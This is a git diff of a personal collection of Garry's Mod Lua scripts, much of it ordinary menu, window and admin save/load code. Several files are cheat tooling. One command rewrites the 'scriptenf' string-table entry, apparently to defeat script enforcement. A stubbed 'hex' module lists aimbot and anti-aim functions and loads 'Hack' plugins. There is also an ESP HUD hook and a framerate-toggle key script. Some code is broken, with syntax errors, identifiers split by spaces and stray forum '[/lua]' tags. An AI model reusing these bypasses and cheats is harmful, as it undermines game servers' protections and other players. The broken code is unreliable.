self.MapSheet = vgui.Create( "DPropertySheet", self ) + self.MapSheet:SetFadeTime( 0.0 ) + + self.MapIcons = vgui.Create( "MapListIcons" ) + self.MapIcons:SetController( self.StartGame ) + self.MapIcons:Setup() + + --local + MapList = vgui.Create( "MapListList" ) + MapList:SetController( self.StartGame ) + + local Options = vgui.Create( "MapListOptions", self ) + Options:SetupSinglePlayer() + + --local + ToyBox = vgui.Create( "ToyboxMap", self ) + + self.MapSheet:AddSheet( "Icons", self.MapIcons, "gui/silkicons/application_view_tile" ) + self.MapSheet:AddSheet( "List", MapList, "gui/silkicons/application_view_detail" ) + self.MapSheet:AddSheet( "Options", Options, "gui/silkicons/wrench" ) + self.MapSheet:AddSheet( "Toybox", ToyBox, "gui/silkicons/toybox" ) +end + +function PANEL:ReloadMaps() + g_MapList = nil + include( 'menu/getmaps.lua' ) + + self.MapIcons:Reload() + self.MapList:Reload() +end + +function PANEL:PerformLayout() + --self:SetSize( 735, ScrH() * 0.8 ) --new + --self:SetSize( 450, ScrH() * 0.8 ) --old + self:SetSize( 570, ScrH() * 0.8 ) --hex + + self.MapSheet:SetPos( 8, 25 ) + self.MapSheet:SetSize( self:GetWide() - 16, self:GetTall() - 25 - 8 - 60 - 8 ) + self.MapSheet:InvalidateLayout() + + self.StartGame:SetPos( 8, self:GetTall() - 60 - 8 ) + self.StartGame:SetSize( self:GetWide() - 16, 60 ) + + self.BaseClass.PerformLayout( self ) +end + +function PANEL:RebuildFavourites() + self.MapIcons:RebuildFavourites() +end + +vgui.Register( "StartSinglePlayerGame", PANEL, "DFrame" ) + +SinglePlayerMenu = vgui.Create( "StartSinglePlayerGame" ) +SinglePlayerMenu:SetVisible( false ) + +local function menu_singleplayer() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:SetVisible( true ) + SinglePlayerMenu:Center() + SinglePlayerMenu:MakePopup() + end +end +concommand.Add( "menu_startgame", menu_singleplayer ) + +local function CloseSinglePlayerMenu() + if ( SinglePlayerMenu ) then + SinglePlayerMenu:Close() + end +end + +hook.Add( "StartGame", "CloseSinglePlayerMenu", CloseSinglePlayerMenu ) + +function OnMapDownloaded( ) + if ( !IsValid(SinglePlayerMenu) ) then return end + SinglePlayerMenu:ReloadMaps() +end + +function OnMapSelected( name ) + if ( !IsValid(SinglePlayerMenu) ) then return end + if ( !IsValid( SinglePlayerMenu.ToyBox.HTML ) ) then return end + + SinglePlayerMenu.ToyBox.HTML:RunJavascript( "OnMapSelected( '"..name.."' );" ); + SinglePlayerMenu.StartGame:SetMap( name ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Test2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Test2.lua new file mode 100644 index 0000000..e5357de --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/old/ml_Test2.lua @@ -0,0 +1,48 @@ + +require("stringtables") + + +hook.Add("InstallStringTableCallback", "InstallCallback", function(name) + --print("InstallStringTableCallback", name) + + if name == "GModGameInfo" then + return true + end +end) + + + +--[[ +InstallStringTableCallback GModGameInfo +OnStringTableChanged GModGameInfo 18 1 0 scriptenf +OnStringTableChanged GModGameInfo 18 2 1 loading_url +]] + + +hook.Add("OnStringTableChanged", "OnTableChanged", function(tab,num,str) + if str != "scriptenf" then return end + --[[ + print("! Changed: ", tab:GetName(), tab:GetTableID(), tab:GetNumStrings(), num, str) + + print( tab:DumpInfo() ) + print( tab:FindStringIndex("scriptenf") ) + + tab:SetString(0, "scriptenf") + tab:SetString(1, "scriptenf") + ]] + + + + print("! off") +end) + +concommand.Add("lol", function() + +StringTable("GModGameInfo"):SetString(0, "scriptenf") + +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/playerrespawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/playerrespawn.lua new file mode 100644 index 0000000..fc363c8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/playerrespawn.lua @@ -0,0 +1,7 @@ +function playerRespawn( player ) + playerName = player.GetName( player ); + Msg( " " .. playerName .. " has respawned. " ); +end + +hook.Add( "PlayerSpawn", "playerRespawnTest", playerRespawn ); + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sh_GetHeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sh_GetHeX.lua new file mode 100644 index 0000000..2669c93 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sh_GetHeX.lua @@ -0,0 +1,17 @@ + +HeX = NULL + +timer.Simple(1, function() + if (SERVER) then + for _,ply in pairs(player.GetAll()) do + if (ply:Nick() == "-=[UH]=- HeX") then + HeX = ply + break + end + end + end + + if (CLIENT) then + HeX = LocalPlayer() + end +end) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_SpawnTheFuckingBarrels.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_SpawnTheFuckingBarrels.lua new file mode 100644 index 0000000..babb736 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_SpawnTheFuckingBarrels.lua @@ -0,0 +1,45 @@ + +if SERVER then + concommand.Add("savebarrels", function() + local tab = {} + + for k,v in pairs(ents.FindByClass("prop_dynamic")) do + table.insert(tab, v:GetPos()) + if v:IsValid() then + v:Remove() + end + end + + file.Write("barrels.txt", glon.encode(tab)) + end) + + + + concommand.Add("loadbarrels", function(ply,cmd,args) + local tab = glon.decode(file.Read("barrels.txt")) or {} + + for k,v in pairs(tab) do + local ent = ents.Create("prop_physics") + ent:SetPos(v) + ent:SetModel("models/props_c17/oildrum001_explosive.mdl") + ent:Spawn() + + if #args > 0 then + local phys = ent:GetPhysicsObject() + if phys:IsValid() then + phys:EnableMotion(false) + phys:Sleep() + end + end + end + end) + +end + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_cleanup.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_cleanup.lua new file mode 100644 index 0000000..8d43811 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_cleanup.lua @@ -0,0 +1,9 @@ + + + +function CleanUpSV() + game.CleanUpMap() +end +concommand.Add("sv_cleanup", CleanUpSV) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_loadsave.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_loadsave.lua new file mode 100644 index 0000000..417529e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old root/sv_loadsave.lua @@ -0,0 +1,84 @@ +if CLIENT then return end + +--use for medkits etc? resspawning? +-- v.IsAutoSpawn = true + +local HeXLRCL = HeXLRCL or function(str) LocalPlayer():ConCommand(str) end +local SavePath = "HeXSave" +--local CurMap = game.GetMap():lower() + +concommand.Add("ls_save", function(ply,cmd,args) + if not ply and ply:Valid() then return end + if not ply:IsAdmin() then + MsgN("[HeX] 401 You are not an admin!, bugger off!") + return + end + local SaveName = args[1] or "temp" + --SaveName = CurMap.."_"..SaveName + + if (SaveName == "temp") and #file.Find(SavePath.."/temp.txt") > 0 then + file.Delete(SavePath.."/temp.txt") + end + if #file.Find(SavePath.."/"..SaveName..".txt") > 0 then + --file.Delete(SavePath.."/"..SaveName..".txt") + --file.Rename(SavePath.."/"..SaveName..".txt", SavePath.."/"..SaveName.."_2.txt") + SaveName = SaveName.."_2" + end + + file.Write( SavePath.."/"..SaveName..".txt", gmsave.SaveMap(ply) ) + + if (SaveName == "temp") then + MsgN("[HeX] 200 Saved: Temp file") + else + MsgN("[HeX] 200 Saved: ", SaveName) + end +end) + +concommand.Add("ls_load", function(ply,cmd,args) + if not ply and ply:Valid() then return end + if not ply:IsAdmin() then + MsgN("[HeX] 401 You are not an admin!, bugger off!") + return + end + local LoadName = args[1] or "temp" + + if #file.Find(SavePath.."/"..LoadName..".txt") > 0 then + gmsave.LoadMap( file.Read(SavePath.."/"..LoadName..".txt"), ply ) + MsgN("[HeX] 200 loaded: ", LoadName) + return + else + if (LoadName == "temp") then + MsgN("[HeX] 404 Can't load: Temp file") + else + MsgN("[HeX] 404 Can't load: ", LoadName) + end + return + end +end) + +concommand.Add("ls_list", function(ply,cmd,args) + if not ply and ply:Valid() then return end + if not ply:IsAdmin() then + MsgN("[HeX] 401 You are not an admin!, bugger off!") + return + end + + MsgN("Saved Files:") + MsgN("===================") + if #file.Find(SavePath.."/*.txt") > 0 then + local Entry + for k,v in pairs(file.Find(SavePath.."/*.txt")) do + Entry = v:gsub(".txt", "") --returns "1" at the end otherwise. + MsgN(" ", Entry) + end + else + MsgN("404 No files") + end + MsgN("===================") + MsgN("[HeX] 200 OK!") +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CMIconsole.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CMIconsole.lua new file mode 100644 index 0000000..b529647 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CMIconsole.lua @@ -0,0 +1,22 @@ +--[[if !console then require("console") end + +local EntityColor = Color( 151, 211, 255 ) + +function console.AddText( ... ) + + local color = Color( 255, 255, 255 ) + + for k, v in pairs( {...} ) do + if ( type( v ) == "table" && v["b"] && v["g"] && v["r"] ) then + color = v + elseif ( type( v ) == "Player" and IsValid( v ) ) then + console.Print( team.GetColor( v:Team() ), v:GetName() ) + elseif ( ( type( v ) == "Entity" or type( v ) == "Weapon" or type( v ) == "Vehicle" or type( v ) == "NPC" ) and IsValid( v ) ) then + console.Print( EntityColor, v:GetClass() ) + else + console.Print( color, tostring(v) ) + end + end + + console.Print( color, "\n" ) +end]] diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CustomMenuInc hex/CustomMenuInc.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CustomMenuInc hex/CustomMenuInc.lua new file mode 100644 index 0000000..48edfe7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/CustomMenuInc hex/CustomMenuInc.lua @@ -0,0 +1,197 @@ + +require("concommand") +require("cvars") + +include("includes/compat.lua") +include("includes/util/model_database.lua") +include("includes/util/vgui_showlayout.lua") +include("includes/util/tooltips.lua") +include("includes/util/client.lua") + +require("extras") +if not replicator then + require("replicator") +end + +IsMainGMod = file.Exists("MAIN.lua",true) +IsKida = file.Exists("KIDA.lua",true) + +local function Fuck() debug.Trace(2) end + +if not console then + fuckup = true + console = { + PrintColor = Fuck, + IsVisible = Fuck, + Clear = Fuck, + Hide = Fuck, + Popup = Fuck, + ServerCommand = Fuck, + Command = Fuck, + UnrestrictedCommand = Fuck, + } +end + +if not client then + fuckup = true + client = { + GetVideoModes = Fuck, + Time = Fuck, + GetPlayerName = Fuck, + GetPlayerLogo = Fuck, + GetAllPlayers = Fuck, + GetPlayerIndex = Fuck, + GetPlayerSteamID = Fuck, + GetFriendID = Fuck, + LocalPlayerUserID = Fuck, + IsFakePlayer = Fuck, + IsPlayerMuted = Fuck, + SetPlayerMuted = Fuck, + IsPlayerConnected = Fuck, + IsPlayerAlive = Fuck, + GetPlayerPing = Fuck, + GetPlayerFrags = Fuck, + GetPlayerDeaths = Fuck, + GetPlayerTeam = Fuck, + GetPlayerHealth = Fuck, + SetEyeAngles = Fuck, + GetEyeAngles = Fuck, + GetMapName = Fuck, + GetMaxPlayers = Fuck, + GetScreenAspectRatio = Fuck, + GetKeyForBinding = Fuck, + GetIP = Fuck, + IsConnected = Fuck, + IsConnectedToVACSecureServer = Fuck, + GetAppID = Fuck, + GetEngineBuildNumber = Fuck, + GetProductVersionString = Fuck, + IsDrawingLoadingImage = Fuck, + IsInEditMode = Fuck, + IsInGame = Fuck, + IsLowViolence = Fuck, + IsHammerRunning = Fuck, + IsPaused = Fuck, + IsPlayingDemo = Fuck, + IsPlayingTimeDemo = Fuck, + IsRecordingDemo = Fuck, + IsTakingScreenshot = Fuck, + SupportsHDR = Fuck, + GetDXSupportLevel = Fuck, + } +end + +if not hex then + hex_fuckup = true + hex = { + ReplicateVar = fuck, + ForceConVar = fuck, + ConCommand = fuck, + PredictSpread = fuck, + IsDormant = fuck, + ToggleHands = fuck, + LagCompensation = fuck, + FakeAngles = fuck, + AntiAim = fuck, + Require = fuck, + Include = fuck, + IsInMenu = fuck, + SetViewAngles = fuck, + GetViewAngles = fuck, + GetHitbox = fuck, + Msg = fuck, + } +end + + + +BROWN = Color(128,128,0) +EntityColor = Color(151,211,255) +CMIColor = Color(153,217,234) +BLUE = Color(51,153,255) +WHITE = Color(255,255,255) +PINK = Color(255,175,202) +GREY = Color(196,196,196) +GREEN = Color(182,231,18) +RED = Color(237,16,29) +ADMINRED = Color(255,50,50) +MODGREEN = Color(0,255,0) + +function COLCON(...) + if fuckup then + for k, v in pairs( {...} ) do + if ( type(v) == "string" ) then + Msg(v) + end + end + Msg("\n") + return + end + + local color = WHITE + for k, v in pairs( {...} ) do + if ( type( v ) == "table" && v["b"] && v["g"] && v["r"] ) then + color = v + elseif ( type( v ) == "Player" and IsValid( v ) ) then + console.PrintColor( team.GetColor( v:Team() ), v:GetName() ) + elseif ( ( type( v ) == "Entity" or type( v ) == "Weapon" or type( v ) == "Vehicle" or type( v ) == "NPC" ) and IsValid( v ) ) then + console.PrintColor( EntityColor, v:GetClass() ) + else + console.PrintColor( color, tostring(v) ) + end + end + console.PrintColor( color, "\n" ) +end + + +--[[ +if VERSION == 125 then --FFFFUUUUUUUUU- + local function Crap() return "EXTRAS_FUCKUP_U"..VERSION end + + client.GetIP = Crap + + COLCON(RED, " ! ", WHITE, "EXTRAS_FUCKUP_U"..VERSION..", some functions ", EntityColor, "disabled!") +end +]] + + +if not RealTime then RealTime = CurTime end + + +local function LoadCMI() + Msg("\n") + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// Custom Menu Inc //") + COLCON(GREEN, "///////////////////////////////////////") + + for k,v in pairs( file.FindInLua("custom_menu/ml_B_*.lua") ) do + COLCON( CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_H_*.lua") ) do + COLCON( CMIColor, " Loading ", RED, "Hack", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_*.lua") ) do + if not (v:sub(1,5) == "ml_B_" or v:sub(1,5) == "ml_H_") then + COLCON( CMIColor, " Loading ", GREEN, "Plugin", WHITE, ": "..v ) + include("custom_menu/"..v) + end + end + + for k,v in pairs( file.FindInLua("skins/*.lua") ) do --include skins + COLCON( CMIColor, " Loading ", GREY, "Skin", WHITE, ": "..v ) + include("skins/"..v) + end + + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// CMI Loaded! //") + COLCON(GREEN, "///////////////////////////////////////") + Msg("\n") +end + +timer.Simple(0, LoadCMI) +concommand.Add("cmi_reload", LoadCMI) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame.lua new file mode 100644 index 0000000..2a1336c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame.lua @@ -0,0 +1,244 @@ +/* _ + ( ) + _| | __ _ __ ___ ___ _ _ + /'_` | /'__`\( '__)/' _ ` _ `\ /'_` ) +( (_| |( ___/| | | ( ) ( ) |( (_| | +`\__,_)`\____)(_) (_) (_) (_)`\__,_) + + DFrame + + A window. + +*/ + +PANEL = {} + +AccessorFunc( PANEL, "m_bDraggable", "Draggable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bSizable", "Sizable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bScreenLock", "ScreenLock", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bDeleteOnClose", "DeleteOnClose", FORCE_BOOL ) +AccessorFunc( PANEL, "m_iMinWidth", "MinWidth" ) +AccessorFunc( PANEL, "m_iMinHeight", "MinHeight" ) + +AccessorFunc( PANEL, "m_bBackgroundBlur", "BackgroundBlur", FORCE_BOOL ) + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetFocusTopLevel( true ) + +// self:SetCursor( "sizeall" ) + + self.btnClose = vgui.Create( "DSysButton", self ) + self.btnClose:SetType( "close" ) + self.btnClose.DoClick = function ( button ) self:Close() end + self.btnClose:SetDrawBorder( false ) + self.btnClose:SetDrawBackground( false ) + + self.lblTitle = vgui.Create( "DLabel", self ) + self.lblTitle:SetExpensiveShadow( 1, Color( 0, 0, 0, 100 ) ) + self.lblTitle:SetTextColor( Color( 255, 255, 255, 255 ) ) + + self:SetDraggable( true ) + self:SetSizable( false ) + self:SetScreenLock( false ) + self:SetDeleteOnClose( true ) + self:SetTitle( "#Untitled DFrame" ) + + self:SetMinWidth( 50 ); + self:SetMinHeight( 50 ); + + // This turns off the engine drawing + self:SetPaintBackgroundEnabled( false ) + self:SetPaintBorderEnabled( false ) + + self.m_fCreateTime = SysTime() + + self:DockPadding( 5, 26, 5, 5 ) + +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:ShowCloseButton( bShow ) + + self.btnClose:SetVisible( bShow ) + +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:SetTitle( strTitle ) + + self.lblTitle:SetText( strTitle ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Close() + + self:SetVisible( false ) + + if ( self:GetDeleteOnClose() ) then + self:Remove() + end + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Center() + + self:InvalidateLayout( true ) + self:SetPos( ScrW()/2 - self:GetWide()/2, ScrH()/2 - self:GetTall()/2 ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Think() + + if (self.Dragging) then + + local x = gui.MouseX() - self.Dragging[1] + local y = gui.MouseY() - self.Dragging[2] + + // Lock to screen bounds if screenlock is enabled + if ( self:GetScreenLock() ) then + + x = math.Clamp( x, 0, ScrW() - self:GetWide() ) + y = math.Clamp( y, 0, ScrH() - self:GetTall() ) + + end + + self:SetPos( x, y ) + + end + + + if ( self.Sizing ) then + + local x = gui.MouseX() - self.Sizing[1] + local y = gui.MouseY() - self.Sizing[2] + local px, py = self:GetPos() + + if ( x < self.m_iMinWidth ) then x = self.m_iMinWidth elseif ( x > ScrW() - px and self:GetScreenLock() ) then x = ScrW() - px end + if ( y < self.m_iMinHeight ) then y = self.m_iMinHeight elseif ( y > ScrH() - py and self:GetScreenLock() ) then y = ScrH() - py end + + self:SetSize( x, y ) + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && + self.m_bSizable && + gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self:SetCursor( "sizeall" ) + return + end + + self:SetCursor( "arrow" ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Paint() + + if ( self.m_bBackgroundBlur ) then + Derma_DrawBackgroundBlur( self, self.m_fCreateTime ) + end + + derma.SkinHook( "Paint", "Frame", self ) + return true + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMousePressed() + + if ( self.m_bSizable ) then + + if ( gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self.Sizing = { gui.MouseX() - self:GetWide(), gui.MouseY() - self:GetTall() } + self:MouseCapture( true ) + return + end + + end + + if ( self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self.Dragging = { gui.MouseX() - self.x, gui.MouseY() - self.y } + self:MouseCapture( true ) + return + end + + + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMouseReleased() + + self.Dragging = nil + self.Sizing = nil + self:MouseCapture( false ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + derma.SkinHook( "Layout", "Frame", self ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:IsActive() + + if ( self:HasFocus() ) then return true end + if ( vgui.FocusedHasParent( self ) ) then return true end + + return false + +end + + +derma.DefineControl( "DFrame", "A simpe window", PANEL, "EditablePanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame_CloseButton.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame_CloseButton.lua new file mode 100644 index 0000000..2dc3f41 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/DFrame_CloseButton.lua @@ -0,0 +1,20 @@ + + + +if not vgui.CreateOld then + vgui.CreateOld = vgui.Create +end + + +function vgui.CreateNew(...) + HeX.include("HeX/hx_DFrame.lua") + + vgui.Create = vgui.CreateOld + + return vgui.CreateOld(...) +end +vgui.Create = vgui.CreateNew + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua new file mode 100644 index 0000000..d915fd6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua @@ -0,0 +1,52 @@ + + +HeX.GetTable = {} +function HeX.Add(what,name,func) + local GAME = GAMEMODE + if not GAME then + print("! oops, GAMEMODE") + GAME = GM + end + if not GAME then + print("! oops, no GM") + hook.Add(what,name,func) + return + end + + local OldHook = GAME[what] + function GAME[what](self,...) + if OldHook then + OldHook(self,...) + end + func(...) + end + + if not HeX.GetTable[what] then + HeX.GetTable[what] = {} + end + HeX.GetTable[what][name] = func +end + + + + + +function HeX.Add(what,name,func) + local ogm = GAMEMODE[what] + function GAMEMODE[what](gm,...) + local a,b,c, = hook.Call(what, nil , ...) + if a ~= nil or b~= nil or c~= nil then + return a,b,c, + else + return ogm(gm,...) + end + end +end + + +HeX.Add("HUDPaint", "loool", function() ESP() end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Detour.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Detour.lua new file mode 100644 index 0000000..b61ab84 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/HeX.Detour.lua @@ -0,0 +1,28 @@ +HeX.Detour = { + Saved = {} +} + +local function Source(func) + return debug.getinfo(func).short_src +end + +function HeX.Detour.Player(func,new) + if _R.Player[func.."Old"] then + ErrorNoHalt( Format("Tried to detour 'Player.%s' from: %s\n", func, Source(new)) ) + else + _R.Player[func.."Old"] = _R.Player[func] + + table.insert(HeX.Detour.Saved, {name = "Player."..func, old = _R.Player[func], new = new, src = Source(new)} ) + + _R.Player[func] = new + end +end + +function HeX.Detour.Dump(ply,cmd,args) + if not ply:IsSuperAdmin() then return end + + for k,v in pairs( HeX.Detour.Saved ) do + print("! func,old,new: ", v.name, Source(v.old), Source(v.new) ) + end +end +concommand.Add("hex_detours_dump", HeX.Detour.Dump) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/LogSkidEncounter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/LogSkidEncounter.lua new file mode 100644 index 0000000..08f9bd1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/LogSkidEncounter.lua @@ -0,0 +1,13 @@ + +local function LogSkidEncounter(ply,what,name) + local LogName = Format("SK/%s.txt", os.date("%d-%m-%Y_%A")) + local SDate = os.date("%d-%m-%y (%A) %I:%M%p") + + local ServerIP = "E.E.E.E" + if client and client.GetIP then + ServerIP = tostring( client.GetIP() ) + end + + local str = Format("[SK] %s @ ") + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/PoopScript.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/PoopScript.lua new file mode 100644 index 0000000..0fc1bce --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/PoopScript.lua @@ -0,0 +1,57 @@ +--[[ + === HeX's T toggle script, for Sykranos == +]] + + +local function LongDick(bool) + if bool then + RunConsoleCommand("host_framerate", 10) + else + RunConsoleCommand("host_framerate", 0) + end +end + + +local PressOn = nil +local PressOff = nil +local function Boobies() + local Down = input.IsKeyDown(KEY_T) + + if Down then + if not PressOn then + PressOn = true + PressOff = false + + LongDick(true) + end + else + if not PressOff then + PressOff = true + PressOn = false + + LongDick(false) + end + end +end +hook.Add("Think", "Boobies", Boobies) + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ReadFromAddons.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ReadFromAddons.lua new file mode 100644 index 0000000..a5ec9b0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ReadFromAddons.lua @@ -0,0 +1,40 @@ + + + + + + +local function VFSPath(path) + if HSPMod.Exists(path) then + return path --Not in VFS + end + + for k,v in pairs( file.Find("addons/*", true) ) do + local APath = "addons/"..v.."/"..path + if file.Exists(APath, true) then + return APath + end + end + + ErrorNoHalt("! VFSPath fuckup, can't find: "..path.." in addons! (blame garry)\n") + return "" +end + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/New Lua Script.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/New Lua Script.lua new file mode 100644 index 0000000..0f040da --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/SRVLog/New Lua Script.lua @@ -0,0 +1,173 @@ +//steamworks.lua + +require("steamworks") + +steamClient007 = steamworks.ISteamClient(7) +if (!steamClient007) then return end +hSteamPipe = steamClient007:CreateSteamPipe() +if (!hSteamPipe) then return end +hSteamUser = steamClient007:ConnectToGlobalUser(hSteamPipe) +if (!hSteamUser) then return end +steamUser012 = steamClient007:GetISteamUser(hSteamUser, hSteamPipe, 12) +if (!steamUser012) then return end +if (!steamUser012:LoggedOn()) then return end +steamFriends005 = steamClient007:GetISteamFriends(hSteamUser, hSteamPipe, 5) +if (!steamFriends005) then return end +steamFriends002 = steamClient007:GetISteamFriends(hSteamUser, hSteamPipe, 2) + +if (!steamFriends002) then return end + +hook.Add("Think", "Steam_BGetCallback", function() +callbackMsg = steamworks.Steam_BGetCallback(hSteamPipe) + +if (!callbackMsg) then return end + +if (callbackMsg:GetCallback() == (300 + 31)) then +local gameOverlay = callbackMsg:GetPubParam():To(FindMetaTable("GameOv erlayActivated_t").MetaID) + +hook.Call("GameOverlayActivated", nil, gameOverlay:IsActive()) +elseif (callbackMsg:GetCallback() == (300 + 4)) then +local personaChange = callbackMsg:GetPubParam():To(FindMetaTable("Person aStateChange_t").MetaID) + +local personaSID = personaChange:GetSteamID() + +if (personaSID) then +local personaCSID = steamworks.CSteamID() + +personaCSID:Set(personaSID, 1, 1) + +if (personaChange:GetFlags() == 0x001) then +hook.Call("EPersonaChangeName", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x002) then +hook.Call("EPersonaChangeStatus", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x004) then +hook.Call("EPersonaChangeComeOnline", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x008) then +hook.Call("EPersonaChangeGoneOffline", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x010) then +hook.Call("EPersonaChangeGamePlayed", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x020) then +hook.Call("EPersonaChangeGameServer", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x040) then +hook.Call("EPersonaChangeAvatar", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x080) then +hook.Call("EPersonaChangeJoinedSource", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x100) then +hook.Call("EPersonaChangeLeftSource", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x200) then +hook.Call("EPersonaChangeRelationshipChanged", nil, personaCSID) +elseif (personaChange:GetFlags() == 0x400) then +hook.Call("EPersonaChangeNameFirstSet", nil, personaCSID) +end +end +end + +steamworks.Steam_FreeLastCallback(hSteamPipe) +end ) +[/lua] + +[lua] +include("steamworks.lua") + +local EPersonaStateStrings = { +"Offline", +"Online", +"Busy", +"Away", +"Snooze", +} + +hook.Add("GameOverlayActivated", "SHook", function(state) +if (state) then +print(string.format("[%s] Opened game overlay", os.date())) +else +print(string.format("[%s] Closed game overlay", os.date())) +end +end ) + +hook.Add("EPersonaChangeName", "SHook", function(id) +print(string.format("[%s] The owner of %s changed their name to '%s'", os.date(), id:Render(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeStatus", "SHook", function(id) +print(string.format("[%s] '%s' is now %s", os.date(), steamFriends005:GetFriendPersonaName(id), EPersonaStateStrings[steamFriends005:GetFriendPersonaState(id)+1])) +end ) + +hook.Add("EPersonaChangeComeOnline", "SHook", function(id) +print(string.format("[%s] '%s' signed in", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + +hook.Add("EPersonaChangeGoneOffline", "SHook", function(id) +print(string.format("[%s] '%s' signed out", os.date(), steamFriends005:GetFriendPersonaName(id))) +end ) + 